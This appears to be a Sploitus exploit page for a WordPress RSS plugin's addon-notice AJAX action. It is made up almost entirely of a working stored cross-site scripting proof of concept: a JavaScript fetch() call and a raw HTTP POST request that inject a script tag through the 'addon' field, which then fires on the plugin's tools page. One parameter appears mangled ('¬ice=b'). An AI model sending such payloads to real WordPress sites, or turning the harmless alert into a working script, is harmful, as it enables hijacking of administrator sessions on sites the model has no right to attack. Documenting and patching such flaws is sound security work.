Share
## https://sploitus.com/exploit?id=WPEX-ID:0742483B-6314-451B-A63A-536FD1E14845
fetch("https://example.com/wp-admin/admin-ajax.php?action=wprss_dismiss_addon_notice", {
"headers": {
"content-type": "application/x-www-form-urlencoded"
},
"body": "addon=</textarea><script>alert(/XSS/);</script>¬ice=b",
"method": "POST",
"credentials": "include"
});
POST /wp-admin/admin-ajax.php?action=wprss_dismiss_addon_notice HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
Content-Length: 56
Connection: close
Cookie: [any authenticated user]
addon=</textarea><script>alert(/XSS/);</script>¬ice=b
The XSS will be trigger at https://example.com/wp-admin/admin.php?page=wpra_tools